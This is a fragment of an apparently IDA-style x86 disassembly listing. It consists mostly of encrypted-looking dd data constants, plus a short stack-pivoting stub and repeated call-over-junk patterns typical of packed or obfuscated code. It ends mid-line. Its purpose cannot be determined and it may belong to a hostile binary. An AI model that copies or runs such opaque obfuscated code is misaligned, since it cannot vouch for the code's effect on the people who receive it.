dd 0C8816641h, 8D892C7Eh, 5E72315h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0C2C35343h, 0B07645E2h, 581A33Ch dd 0E081664Bh, 820F90FEh, 2, 85C7C28Ah, 5E708B9h, 5A78h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0F1C35343h dd 0DB58B62h, 105E72Ch, 0E70C9D8Dh, 9985C705h, 5E70Ch dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0FA80C352h, 0D6651EBEh, 9DB5FF67h dd 6A05E712h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0FA03C351h, 0D03E0E63h, 95FFB200h dd 5E732CDh, 22C9858Bh, 6A05E7h, 1A1D95FFh, 0C08B05E7h dd 57CD7AEBh, 95675126h, 9E64818h, 0F717BCA3h, 52BB6052h dd 0CD20453Ch, 3EDEC2F1h, 0F5C71EA0h, 4269D01Dh, 5D54E9D8h dd 130EDE52h, 4FCA3D83h, 9438156Eh, 6971E4B5h, 0D1E95F11h dd 3DBB5192h, 0F219F172h, 0BE742F04h, 0A272FCDh, 0D93DE09Bh dd 69269F39h, 657C8148h, 0A8689EBDh, 0F7BB63BDh, 550BAD96h dd 4DEEF97Ch, 4EA3132Eh, 0D88652D5h, 9F5D9B2Dh, 7948B13Ah dd 2E7DE471h, 0BE8h, 0B0D49C00h, 0AB5CE4CAh, 0E6904A4h dd 15E99589h, 895805E7h, 0E70601BDh, 0ECC08105h, 89000061h dd 0E71509BDh, 18456805h, 5BF50000h, 8E9h, 0DE2AB400h dd 3EEAB696h, 8930FF14h, 0E725759Dh, 0B5235A05h, 5E72F85h dd 6B2BEA81h, 0BD8B28D5h, 5E72BB9h, 0BB61F281h, 8D891F71h dd 5E7007Dh, 3488C281h, 12E95E19h, 0A000000h, 0AC1F96E9h dd 0ACD438D5h, 0FEC317B8h, 0BD3148F9h, 9D095272h, 5E720D1h dd 8D09008Fh, 5E70999h, 9280E881h, 0CE96E6Bh, 0D4000000h dd 0C747DE7Dh, 0F4541A94h, 81CFE29Ch, 6B927CC0h, 0F78B666Eh dd 1B850F4Bh, 8B000000h, 0E725498Dh, 1FE905h, 0CF4A0000h dd 0D35ECF9Ch, 6B1A9559h, 0E25A756Dh, 0ED80466Dh, 0FF63E9E9h dd 0C8B0FFFFh, 6DCDE4C1h, 14E857h, 0B4700000h, 0D42C7131h dd 27F09600h, 5AF29FA5h, 783F6E59h, 9D89FC59h, 5E71355h dd 1BD2958h, 8105E71Dh, 6FF4C0h, 4D8D8900h dd 6805E71Ch, 1BC9h, 5FD18B66h, 30FFF38Bh, 27E98D8Bh, 665B05E7h dd 81B94CBEh, 781008C3h, 68E0F7Ah, 8B000000h, 0E71B698Dh dd 82EB8105h, 605F80D3h, 2D6D8D89h, 62B005E7h, 0E8C38161h dd 8947CF97h, 0E70F319Dh, 89188905h, 0E700D99Dh, 2E88305h dd 664848F9h, 0CA96E681h, 0F01EF83h, 2985h, 13E900h, 68670000h dd 0AA4FC60Bh, 0EC51BDF6h, 2BAFAAEEh, 0CB71D67Bh, 28E9D7h dd 67BA0000h, 8117F674h, 60C0B431h, 85297319h, 5E729D9h dd 0FFFF75E9h, 57412CFFh, 0A36491CAh, 0B8AE2369h, 114CE839h dd 8D8D1F44h, 5ED8AB6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 5CC35343h, 0F2827AD9h, 63B8281Fh, 8D899CB6h dd 5E72315h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 7C35040h, 77C683C6h, 8B985C7h, 5E4805E7h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 74F2A9C3h, 0F38B6613h, 0C9985C7h, 5E7h, 5E80000h, 0EC000000h dd 0A7ECD80Fh, 1631858Bh, 0E95F05E7h, 5, 3E10365Dh, 2DB5FFE2h dd 0B805E726h, 36E08C6Dh, 32CD95FFh, 0B58905E7h, 5E726EDh dd 95FF006Ah, 5E71A1Dh, 3EEBC08Bh, 0DF1734BFh, 29FA616Dh dd 49E44D7Ch, 811541FAh, 88381987h, 0A988F9BEh, 427C28C3h dd 0B7EF97EDh, 5B295335h, 1EDF32F0h, 34A7E244h, 6BC44B9Fh dd 8030CCE7h, 771E5025h, 60DEAC32h, 9E8E357h, 12000000h dd 81B91087h, 431F5343h, 845958Bh, 0F5905E7h, 683h, 0E1850100h dd 8105E732h, 5BBFC1h, 4DBE6600h, 0E4E5BFF4h, 0F7816853h dd 6853F222h, 68A0Fh, 0B58B0000h, 5E70375h, 8D0F31FFh dd 6, 135DB58Bh, 0E95805E7h, 0Fh, 0D2167021h, 8195D677h dd 0C7532B07h, 81A32890h, 6D1B3DE8h, 79B58B77h, 8105E72Eh dd 0AC4E9EE8h, 0F081F87Bh, 3FCABBE8h, 3CD0EA81h, 1894EE8h dd 9E9h, 836DE100h, 0A814EF7h, 0E983F6D5h, 0C3F78004h dd 0F01EF83h, 0FFFF9F85h, 3870FFFh, 66000000h, 8E8D08Bh dd 0C000000h, 0F56A74ABh, 5E463AC2h, 0AD9D8960h, 0B505E703h dd 0C6816124h, 63E6h, 13E9h, 56168C00h, 93A20957h, 15ECE685h dd 0CD5A4E8Eh, 0B7E69E93h, 68h, 0DE900h, 66C50000h, 0ECC0D07Eh dd 0AD69056Fh, 5A7443D4h, 2ABAD781h, 34FF0A10h, 3860F32h dd 80000000h, 815828EDh, 320E0AC0h, 830F3Fh, 81000000h dd 5EAABDC0h, 81666016h, 8B7424E8h, 0E70F598Dh, 0F0816105h dd 9CFCD9Dh, 2950CE8Bh, 0E70A8D95h, 16048F05h, 32D99589h dd 0CF8B05E7h, 0DFF4EA81h, 0BD896EFDh, 5E72B9Dh, 0DFF0C281h dd 12E96EFDh, 2F000000h, 40BC1E47h, 54944956h, 5B48531Eh dd 0B0FB5C1h, 0E0FA81EFh, 0FFFFF9Ch, 0FFFF8585h, 0AE8FFh dd 0FA700000h, 9B593D2h, 0A035F250h, 2EADBD31h, 15F05E7h dd 0E70E158Dh, 12C78105h, 0F000075h, 0B8F6BFh, 81000000h dd 77711EF2h, 3834FF25h, 26119D89h, 605905E7h, 198D09h dd 8E805E7h, 23000000h, 5F76DAC8h, 5ADFB8A4h, 2EC18161h dd 501C21ABh, 815E44B3h, 0C16764F1h, 8F67BB36h, 0E9812BA1h dd 75A3A346h, 92ADBE66h, 66070C89h, 0F43F3BBh, 68Eh, 93CE8100h dd 816C0C0Bh, 0E794BDE8h, 8109B733h, 0E794B9C0h, 0F506033h dd 8Ah, 0BA665B00h, 816179C5h, 0FF8BC4F8h, 16850FFFh, 1000000h dd 0E72EAD8Dh, 2AE905h, 0BFB90000h, 84572B2Bh, 978D792Ch dd 8B66608Fh, 89B58BCAh, 6105E724h, 0FFFF60E9h, 0D9078FFFh dd 0FB2898C3h, 3CC90FE3h, 0A03518Ah, 0A234AC42h, 0A27C2406h dd 3BB37D7Ah, 83D70B03h, 83B42A21h, 6F302590h, 863025C4h dd 82C998A7h, 893020F5h, 86305A8Dh, 78DA684h, 8635C267h dd 8642A12Eh, 3F62590h, 83D722B1h, 0E3A44D6Ah, 0B2B1958Dh dd 5B82F12Dh, 7F85DA9Ch, 0B35C246h, 6C4946A4h, 0DE0DA95h dd 7FB5E3B8h, 0C835C223h, 0DFEDF47Ah, 0A204A4FFh, 0D82B2F15h dd 0A3B190BDh, 3BD20C6h, 83DA5CF3h, 7EBBF5B7h, 8630359Dh dd 8638CC12h, 89962509h, 86302B01h, 4F3B6C42h, 79C0A02Eh dd 8BD9DA6Fh, 0B302548h, 617DDFB9h, 86359D17h, 65CF2509h dd 0B639809h, 0BBD20AFh, 83DDAB30h, 0B6153728h, 47FF0ECEh dd 0A234AC42h, 0A27C2406h, 3BB37D7Ah, 83D70B03h, 83B42A21h dd 6F302590h, 863025C4h, 0E98398A7h, 0B9A4F305h, 22h, 8EC48D8Dh dd 8D8905EDh, 5E72315h, 924F5B8h, 0B985C714h, 8405E708h dd 8900006Ah, 0E703119Dh, 9985C705h, 5E70Ch, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 9E9CC355h, 0BDBD03B9h, 0FF05E712h, 0E7281DB5h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 1A237BDh, 669C39C4h, 0FF5FCABEh, 0E732CD95h dd 0FDC2BE05h, 6A56B7h, 1A1D95FFh, 0C08B05E7h, 0FE303DEBh dd 13C71C48h, 36F01F0Ah, 2548ED0Dh, 5FF0FE28h, 1BFAF7Eh dd 41FE5BFFh, 89A87431h, 79E427Fh, 39FFAF3Eh, 42F4D255h dd 5F5A7035h, 32FAD0B8h, 39585B51h, 7CF7F148h, 0EB7B8703h dd 166CD104h, 595E94Bh, 55430000h, 4A40EF61h, 525FE464h dd 4E59E66Ah, 6D55E26Eh, 0A3D2E36Dh, 55FBC3CFh, 55FBC3CEh dd 53FDDDCEh, 6EE2C4C4h, 0DAAE0B5Bh, 0D9C6986Dh, 7A52FCAAh dd 0F1390654h, 8FD3EBD7h, 0DA656DBEh, 0BD8CD2F0h, 6AC2F27Eh dd 52D29351h, 9C85E4ECh, 3A1241BCh, 0AFF9C614h, 4644B38Fh dd 21AD1A60h, 7325C209h, 75FFD2A6h, 0BE80D1C3h, 5C9F6AB5h dd 0ED3F8D0Dh, 133807C9h, 0CE511D33h, 55B8FBC3h, 248C2970h dd 0A1C375E9h, 0A6F74078h, 91590955h, 75E9BC04h, 856B4EC3h dd 9EC375E9h, 3B93FC4Dh, 75E92A9Eh, 9DD829C3h, 6FB38BB6h dd 0DB271700h, 0D4E1BEECh, 0C375E96Ch, 0F9C51667h, 0E6484E3Dh dd 2D7F1BC0h, 2B70D8F8h, 3857D4E1h, 0D7FD7E4h, 961BDE3Ch dd 9C375B6h, 0A2A4F54Dh, 280AADA9h, 0B98123CBh, 0B18C87E0h dd 20B0983Eh, 2C67D936h, 46h, 2D7A52A6h, 75E22088h, 81D223C3h dd 0E272F8BDh, 0F8EBC375h, 8E5ACADEh, 16A67D9h, 7C000000h dd 45A7852h, 9B33133Bh, 6E4C8AB4h, 95E2DC1Fh, 30AF9BB2h dd 0AD4D0F16h, 0D6B17E5Ch, 143A10B0h, 193D6F34h, 64521337h dd 4DCDE85Fh, 156624EEh, 96A492BDh, 0E1C6B57h, 8E99A628h dd 5F734FAEh, 505EEAECh, 14328613h, 0E031C375h, 6DBE9E89h dd 527454E3h, 0C6F6230Ch, 4468A38Ch, 0F2D81776h, 0A5B191ECh dd 78F8E0E6h, 7467D896h, 63h, 0A91FBA62h, 0AAC374E2h, 524C1A59h dd 3F085664h, 0BF4CAF2h, 0BCEA4640h, 0BDE5B29Eh, 5776419Dh dd 6C3F2B77h, 7E81B96Ah, 1F7BB74Ch, 0B33DE8CBh, 0B167D89Eh dd 51h, 56645235h, 0D7E7D37Ch, 7F43A28Bh, 0D017DF57h, 0BA282436h dd 1737147Bh, 5F074FCBh, 751DF67Ah, 41BC8DC3h, 0EED8686Eh dd 52A060E8h, 0B1045A78h, 0C375E2CCh, 7042B53h, 0FDC1C827h dd 0A1AB2FBEh, 67D98E2Fh, 654943ECh, 8F53019h, 1, 5565525Ah dd 0C8EE3E09h, 0BE9E85F2h, 16361760h, 6A6C7FC8h, 0A22A2C0h dd 1FBFC670h, 6574B701h, 0E2DAC765h, 0BA5B916Eh, 0C6C76810h dd 0B18DD1F8h dd 4B2C0F58h, 0C95DD2DEh, 6C744A9Bh, 10AF11A4h, 0C3AC692h dd 0D12C7DCEh, 0B09AAAE2h, 2C7D4C92h, 1135173Ch, 108268CDh dd 0E4ACC692h, 0DB2E644Ch, 7DB87C8Ch, 94BB6C6Ah, 7F839AABh dd 62AE6C28h, 0ADFFD211h, 0D0F84789h, 4547B08Eh, 0D9891D61h dd 0D83C8411h, 7DA9C692h, 40A38C5Dh, 93BC6911h, 3C5293BAh dd 7584C163h, 0A2EAC924h, 0C55F4C9Ch, 7661F270h, 0D7C2FC29h dd 614896E7h, 18DB902h, 0E110000h, 88E13D1Dh, 6A353DADh dd 9F220121h, 521A4C51h, 0A3E8C6CDh, 9673B283h, 0C95CF7A9h dd 51015DAEh, 0F7A40CA9h, 7346C692h, 0C692F78Dh, 9BE4B586h dd 6D537558h, 0C81939h, 0FBDBF35Ch, 3B1E8AA3h, 0C6FB5FFh dd 0FBC7E721h, 64BA9C8Ch, 0CAFF9B40h, 0C8E83D02h, 929E856Bh dd 6E4D9EC6h, 0AD250903h, 9E68D0E5h, 1A6BC692h, 1EB615DBh dd 0DF61F212h, 0DA807367h, 59908CB6h, 38116D4Dh, 6800FDh dd 2420000h, 11A42EEDh, 0C375E37Fh, 556BA28Dh, 3F0E6C6Ch dd 0F33E8FEEh, 81A5E4DAh, 32036AB0h, 0E2A709ECh, 0F675C375h dd 4A6F17D0h, 0C375E2E6h, 3251ACFDh, 9ED7C0BDh, 75E2B53Bh dd 2C7D4EC3h, 24AEFFCEh, 75E3FF91h, 23ABF4C3h, 77215D0Bh dd 0D12C7656h, 0ACA08327h, 0C5B648E0h, 372105F9h, 86E53616h dd 0A2C7h, 0EE021300h, 0E6341431h, 241CB687h, 8B0E30Bh dd 5F1756F5h, 5C18557Ah, 0FDC112C9h, 94B49AB2h, 11B99D8Fh dd 3B9C9A19h, 0E6C51E61h, 815E2598h, 3576C692h, 48153795h dd 92819B6Dh, 0E33698C6h, 0C692811Dh, 0ABF4C516h, 1A22CEA5h dd 9281C9BFh, 0A8F9CAC6h, 28101926h, 61D981CDh, 78500A8Eh dd 1EB0C56h, 0ADF1D5F7h, 5730735Ch, 0CC84A8E5h, 0B498B3FEh dd 0E028176Bh, 6FFC80DEh, 0A263896Bh, 193F8D28h, 5CDC2B6h dd 0B715C8B0h, 0BBFACBD2h, 0AF57F9CAh, 156ED2E7h, 0D3FBD2B7h dd 8D5EAFF3h, 26941BCh, 12A72FEEh, 0C96371AAh, 0B67E50A1h dd 986D9D63h, 664596C6h, 0D9FD2F18h, 0DEE02877h, 55793D80h dd 7260179Ch, 0C5C7F92Dh, 25590E1h, 3E9B4384h, 979C654Ah dd 0D63D7849h, 0F9C1CEF6h, 537B44A5h, 0B6208FDBh, 0D1C76C70h dd 77B58D0Fh, 9D63B6F4h, 96979CA7h, 12357445h, 0D67DF332h dd 0DA8AD0F6h, 98F95062h, 7851ADB1h, 0DA91E426h, 5392AA97h dd 35092D7Ch, 6CBCDA81h, 69361A3Ch, 98C31F3Fh, 3, 526F23CEh dd 3D0A5066h, 88F7CBEBh, 105FA383h, 0E2CD1125h, 4FB886B4h dd 0D8277B43h, 0A691EDF1h, 327D4179h, 2E43A18h, 815E5456h dd 4C6h, 4EE8300h, 5C243487h, 26F868h, 240C8900h, 81E38953h dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 68572414h, 76BC240Ah dd 8BEF815Fh, 81517136h, 846056C7h, 6CF8179h, 81243D5Fh dd 11D0C6EFh, 5F5957B9h, 655868h, 24248900h, 4240483h dd 4EC815Ah, 89000000h, 0CF89243Ch, 5F087A89h, 5A2434FFh dd 4C481h, 0C8B0000h, 0E1895124h, 4C181h, 0C1810000h, 4 dd 5C240C87h, 0F9E8DEE9h, 12A8F7FFh, 0B71FA713h, 294377E5h dd 0B898D8EBh, 5ED9407h, 0E0FFC503h, 0E20F7D4h, 43A9FAAh dd 26CDBA4Dh, 54E0B2B2h, 31038788h, 62D909D8h, 4FFECE0Fh dd 40EC7274h, 2007CBDEh, 4ED5ABB8h, 1F43A8C9h, 490DB347h dd 1CD62688h, 12E8h, 4A32DD00h, 5C433CD0h, 0D767B3D8h dd 88ACC4AEh, 0E99C6882h, 10h, 0B14B5A74h, 656A048Fh, 68A3159Bh dd 986B6737h, 0C0816659h, 0C181584Ch, 6BDBh, 0DDAC23BEh dd 0BA28h, 0AE90000h, 39000000h, 87C41763h, 4BFF71A2h dd 111C8BE4h, 0BD20B860h, 8B666996h, 0EB8161D0h, 1947A6BEh dd 0D8B0Fh, 8E90000h, 0D0000000h, 80FE38BFh, 810182E3h dd 778F3CF3h, 0DE816650h, 0F381BD66h, 1048DCB1h, 6653F78Bh dd 0EF53E081h, 0F11048Fh, 58Bh, 0E8C6BF00h, 8E91E57h, 46000000h dd 616078D0h, 83D9B637h, 8B6604EAh, 0DCFA81F3h, 0FFFFF94h dd 0FFFF9485h, 0FBBF0FFFh, 0D97504EBh, 6BE902F9h, 0FC000008h dd 0FD4A86B0h, 0F84789A9h, 0FA418FCFh, 0F65DF3D3h, 775EF2C8h dd 183E6840h, 183C6B30h, 2226B30h, 72761CEh, 0CBEEF8C9h dd 0C6987765h, 0D85B0F7Eh, 0C375E253h, 0E38991A9h, 989BB65Ch dd 0E291D46h, 0FA39E4F3h, 3991B597h, 30740501h, 0CB2A9094h dd 83826E05h, 22464CBh, 4BE3AB23h, 13DACE5Bh, 3C99314Bh dd 0C375F7B4h, 5A3F7E4Fh, 0C95D1B55h, 0F23D0152h, 0CD5AF6C4h dd 3FA7FBDBh, 0B3910h, 0D18BD33Ch, 6B8FDC11h, 216B46A5h dd 288DB51Dh, 0C6922540h, 1BE4D4DDh, 0F397EBCAh, 0AAE24E48h dd 0CD474484h, 0FF61F1C7h, 60h, 566452CBh, 0D5F33F08h dd 0BC82D3F3h, 8527A328h, 0E393BD9Dh, 136F4F5Ch, 0DE87E03Ah dd 64914ABCh, 7029209h, 35C267D9h, 98000000h, 6E73C5D0h dd 2770C375h, 645292C4h, 61B47C56h, 0C375E29Fh, 16684B94h dd 75E2DEA3h, 305609C3h, 3E90A690h, 0E2DDA376h, 85D6C375h dd 30F1AAA6h, 39000000h, 41486452h, 86C8217Dh, 75E24D33h dd 247546C3h, 69DFFAA2h, 6AC375E2h, 2A419910h, 31027144h dd 45298CF2h, 6FC375C9h, 0E9A3Ch, 272163Ah, 0FFA72FEEh dd 15547A50h, 76D31232h, 0C95CE899h, 5767539Eh, 0FECC2B0Bh dd 0CEA2EE91h, 723AACFDh, 920DD1A7h, 0A281D2C6h, 1626135Ch dd 14246D3Ah, 75A69EC6h, 724A7124h, 41840B28h, 8C915F62h dd 30C062DAh, 0C5193D68h, 52B092E4h, 0D5292D18h, 248ABF4h dd 7069E25Ah, 0A7FBDBCDh, 0C8A17C46h, 8E9770B3h, 4BCCBB8Ch dd 0CB90247Ah, 4347DCFh, 0A327FC4h, 92EF4134h, 9E4DC8BBh dd 5F7FA8F8h, 802D1F1h, 7D35B92Dh, 0E33B9122h, 0FCC7425Ch dd 195FAB84h, 0D195EDC8h, 0C0A80D35h, 0C3C375E2h, 4C5CB3F2h dd 83B37C6Ah, 47530DABh, 4F18625Ah, 346375h, 0EAE2F437h dd 6AD9828Ah, 0AEB693ABh, 412B8D0Fh, 2B9962h, 22D0000h dd 35B92D08h, 8870450Dh, 8BC375E2h, 2A9E7BBAh, 0D0C375E2h dd 3C7F5F4Fh, 35487E4Fh, 55655211h, 3E0E4461h, 3Bh, 2D080268h dd 0A57D35B9h, 1CBFB880h, 675742ADh, 0FBF3321Bh, 75B36ADEh dd 1F20A8C3h, 0F7D62410h, 75B34E32h, 2B7445C3h, 521135BFh dd 35615565h, 0E2C0A80Dh, 0F2C3C375h, 351C4AB3h, 7A76E37Dh dd 0C322D204h, 449ABCECh, 7A91FDF1h, 0E5E5E4C3h, 0EF614547h dd 1A605640h, 7193F24Ah, 0BE9730A8h, 1026107Fh, 9535A6CAh dd 0BB0DA850h, 26C37069h, 0AEFFC3FBh, 42B18CDDh, 0E5EA6654h dd 67D4036Bh, 2859h, 7A526D00h, 83690654h, 4EDC882h, 11C95CF7h dd 9A8DFAC0h, 311B64BAh, 0B8E6D12Dh, 4347F482h, 315930FFh dd 0BB95B993h, 547A5297h, 82836906h, 0E7F0EDC8h, 541CC95Ch dd 92E7FF41h, 53ABF4C6h, 0D10F93Dh, 0FF4CAFADh, 0CF0C24AEh dd 0C8D10C6Fh, 7C2C2003h, 0B92D0802h, 0C6691141h, 0B305E2D8h dd 0B0C375E2h, 35520467h, 0DE1D3D6Ah, 0C1F5D9F3h, 8AEA9FB3h dd 5A6AD982h, 4Fh, 0AC7D356Ch, 0DCA47197h, 0D7C3751Dh dd 8AB5BC86h, 0E5215C9Fh, 0E0359AC8h, 0C375E218h, 754B5DE2h dd 0C13C0D4Dh, 35B7230Ch, 3F03236Ah, 74F9C1E7h, 36079EBDh dd 522BFFF7h, 44615565h, 38180D12h, 4F3EEDFDh, 74000000h dd 0FCC2E22Bh, 35184EADh, 0DE15FF7Dh, 0D615A037h, 0C465FABh dd 909CCB34h, 298C19E7h, 0C3757047h, 0C322735Ch dd 18E03597h, 0DAC375E2h, 0AFFC430Bh, 4D91A991h, 0FECF137Ch dd 0D352BBFh, 0F9C5F522h, 52055590h, 0D27D5565h, 0C199D4FAh dd 7A520E44h, 3FB30654h, 0AAC37A64h, 0CA62A723h, 2D43487h dd 5E755E9h, 3794ED76h, 60A887E6h, 0E82E9227h, 0D425C371h dd 0B0FE458Bh, 5F4BB48Ah, 0E8CDB306h, 0EBC6C371h, 6DBC82A2h dd 0DBEF331Ch, 0ECDA7610h, 0F36D62EEh, 0D167D584h, 54h dd 437BA689h, 3707307Fh, 52D387E6h, 62404A7Ah, 0EAFCCD1Ch dd 0E2219722h, 0D122C375h, 0DD13AC92h, 26EE9638h, 75E22D93h dd 30DC26C3h, 4D750FA4h, 0AC0D68B9h, 0C95C2467h, 60CF137Ch dd 0C9C36169h, 94BB6BE5h, 614EACAAh, 0ED350626h, 0D187F446h dd 0B82E0D58h, 882D7A52h, 0C375E220h, 0C981D223h, 3C023866h dd 17B08EEDh, 8D9234D9h, 7F77B686h, 5D08CD5Ah, 0FE1B13C9h dd 0BE02979Ch, 0B5C692B2h, 0ECA91264h, 16D9AF0Ah, 89DAC692h dd 0BF887DB8h, 1E55ED91h, 63B62FC9h, 194E3287h, 7445C692h dd 29EC82Bh, 35B92D08h, 2302206Ah, 7D35EBDFh, 6B0E02AFh dd 571961DBh, 4147E4Fh, 0B494FB3Ah, 35173892h, 81FCCD11h dd 216A3529h, 7A2E2201h, 0D9828AEAh, 6C5A6Ah, 356C0000h dd 0E2C0A80Dh, 4A5DC375h, 6435146Ah, 9266B31Bh, 91C375E2h dd 0AC5E6540h, 0D35C5F1h, 0E2887045h, 0BA8BC375h, 0E22A9E7Bh dd 4FD0C375h, 483D785Ch, 11354B7Fh, 74D57D35h, 6B5C868h dd 0D1C1763Ch, 0DB1A6442h, 0C7F3CBF4h, 4F6A1244h, 0C375E2F9h dd 4746A9FAh, 3E520467h, 2Ah, 0B7E34C74h, 0E25E2287h, 455C375h dd 802B129h, 0E035B92Dh, 0C375E218h, 0D60402DAh, 5059F43Bh dd 11355307h, 61556552h, 7A520E44h, 3FB30654h, 0AAC37A64h dd 0BA62A723h, 7163A91Fh, 1A59AAC3h, 99311537h, 68B694B6h dd 12E2201h, 80AF2707h, 0C5DA195h, 3AB6D131h, 803B735Bh dd 7DE52D30h, 0FDD892D1h, 0C95914D0h, 0B454F4C5h, 0B92D0802h dd 7A520D41h, 9FB36E54h, 0D9828AEAh, 5CE3AB6Ah, 3415694Dh dd 75E2897Fh, 7AB98AC0h, 4981h, 802C500h, 0EB341833h, 220D35FFh dd 91F8C6F4h, 0E203F552h, 41F9C375h, 0F851D7E4h, 3E6544AEh dd 8AE9C01Eh, 4EE6E839h, 0D3037244h, 0BE280B71h, 65521135h dd 6A356155h, 90C71F3Fh, 435C5DDh, 0FDE9D211h, 2D3Eh, 8026800h dd 76431A33h, 0C375E282h, 867B081h, 0FBEF381Eh, 0E218E035h dd 0BDAC375h, 350D355Fh, 77C6F277h, 0D086E51Ah, 61556552h dd 6A350E44h, 0EC3D0121h, 58A6969Dh, 0CDDF3271h, 5CD95E9h dd 75E2C8B0h, 3683CBC3h, 0C375E242h, 0C4277041h, 7A646F63h dd 0C7681AC3h, 0D180E3DBh, 2D311BA9h, 1B341423h, 0AFA1B83Ch dd 0A81526EAh, 542DEA46h, 0CBE43A0Bh, 4B6E6025h, 0C958F706h dd 0ADE7243h, 0B92D0802h, 7A520D41h, 83B36E54h, 0E20AFEDBh dd 3809C375h, 309503E6h, 0ECCFBD6Dh, 828AEAFAh, 395A6AD9h dd 6C000000h, 0B92D0802h, 80517D35h, 0D08B5EECh, 74FCD995h dd 0FC37523h, 1135883Eh, 7D556552h, 0E29860B5h, 4A9BC375h dd 0E447F6Bh, 0C0A80D35h, 0C3C375E2h, 2F30B3F2h, 66000000h dd 0A52D0802h, 0E250D8FDh, 7B53C375h, 75E2EA5Eh, 4F98E9C3h dd 0E0357A6Ch, 0C375E218h, 355F0BDAh, 5C655211h, 0DE087B33h dd 2B9FE800h, 7A520E44h, 83690654h, 34EDC882h, 21C95CE4h dd 8CB478D0h, 92E04729h, 30735CC6h, 14BE5F8Dh, 0E03E1E0Bh dd 9520AA89h, 0CC847A84h, 0DD2A7041h, 0B10792CBh, 2CC8A17Ah dd 3F08D9FDh, 0F3D562EEh, 78C78FD3h, 0DF2E0C52h, 0B1943B9Ch dd 1873C15Eh, 0D4FAD27Eh, 0D9FD2F74h, 8165DD85h, 83E6AC11h dd 0A8F6D4F6h, 0DE357041h, 0EF93EFCFh, 0DECE5A7Ch, 0C1CB50F8h dd 0B485A9E3h, 37566h, 23A50000h, 5066526Fh, 0CBEB3D0Ah dd 0A38388F7h, 1125105Fh, 86B4E2CDh, 7B434FB8h, 0EDF1D827h dd 4179A691h, 3A18327Dh, 0EC8102E4h, 4, 89241489h, 4C281E2h dd 83000000h, 148704EAh, 89515C24h, 4C181E1h, 83000000h dd 0C8704E9h, 14895C24h, 356C6824h, 34890000h, 5EBD5524h dd 570CE500h, 2F2B2A68h, 0DFF75F74h, 0C781DFF7h, 94D96AC6h dd 315FFA89h, 0EC815DEAh, 4, 83242489h, 5E042404h, 8904EC83h dd 468F2414h, 24348B08h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_545FF7 ; --------------------------------------------------------------------------- db 0A2h dd 0D0FD14BAh, 871FB789h, 85B82997h, 305ED9Dh, 85E0FFC5h dd 0E57E144Ch, 0DD65084Dh, 4A7E1015h, 512CCFFAh, 4311EC86h dd 0E3730ACFh, 571926C1h, 6C21A255h, 0EA1011B2h, 0C06BD17h dd 0F02165BBh, 1D209D2Dh, 0E8786814h, 5, 96D125A3h, 0DAB70F97h dd 0DA81665Eh, 0C6817D03h, 5FD7h, 2800Fh, 0C78B0000h, 0E960C933h dd 0Bh, 801FE1Bh, 9AAACB8Eh, 614E4BB9h, 0FC3134FFh, 0B8D0F5Fh dd 0F000000h, 58Ch, 0B4D9B800h, 0F7813727h, 0EFC2EEFh dd 0C781DD8Ah, 1DAD288Eh, 124A96BAh, 0C7817Dh, 80282623h dd 0B757F9CFh, 0E048FFBh, 0AE9h, 0CDC5F900h, 0E2EB4B44h dd 0F9B42ED4h, 5202E983h, 8E8h, 391F4900h, 3DE5A535h, 5BD08B4Ch dd 81494958h, 0FFA0F4F9h, 1A850FFFh, 66000000h, 2091E381h dd 2AE9h, 5BA84600h, 0F2A69861h, 0D5BC4BBh, 0B9A53140h dd 0E9E78A8Ch, 0FFFFFF74h, 0F47C3AC0h, 0C5275044h, 8F96992Bh dd 34D03213h, 8D44DA86h, 0ED9FFD8Dh, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 60770C7Fh dd 0ED51CCB6h, 6459D03h, 8D8905E7h, 5E72315h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C1C35343h, 0C7774AD3h dd 0E708B985h, 6BB005h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 564207F2h, 4615F4DBh dd 9985C772h, 5E70Ch, 66000000h, 0B5FFDF8Bh, 5E7017Dh dd 2CFD9D2Bh, 76B605E7h, 32CD95FFh, 6A05E7h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 284C51C3h dd 0AC6E74DFh, 95858B7Ah, 6A05E723h, 1D95FF00h, 8B05E71Ah dd 673BEBC0h, 0A836AB2h, 9A01E0EFh, 6820FA6Eh, 0DEC7E4Ah dd 2648D83Bh, 773F93FCh, 63F9BB9Dh, 0DDB4EC57h, 0A0668F43h dd 8080E576h, 0AB84B4D5h, 0FE7DB4CCh, 0A1232AF3h, 0C0FFC0B9h dd 8D8D8405h, 5EDA0C9h, 16699D89h, 8D8905E7h, 5E72315h dd 0E4DB531h, 85C705E7h, 5E708B9h, 6410h, 0BD8BD98Bh, 5E707E9h dd 0C9985C7h, 5E7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 85C07FC3h, 0FFBED3F5h dd 0E72D35B5h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 0FFD50A81h, 0E732CD95h dd 59B58905h, 6A05E717h, 1D95FF00h, 8B05E71Ah, 2A08EBC0h dd 6A9EEFA8h, 8D03F887h, 0EDA16C8Dh, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0C543737Bh dd 6EDCC7BFh, 158D89A4h, 6605E723h, 81A46DB8h, 0ADC736E0h dd 0B985C725h, 3C05E708h, 89000071h, 0E72AA18Dh, 9985C705h dd 5E70Ch, 8B000000h, 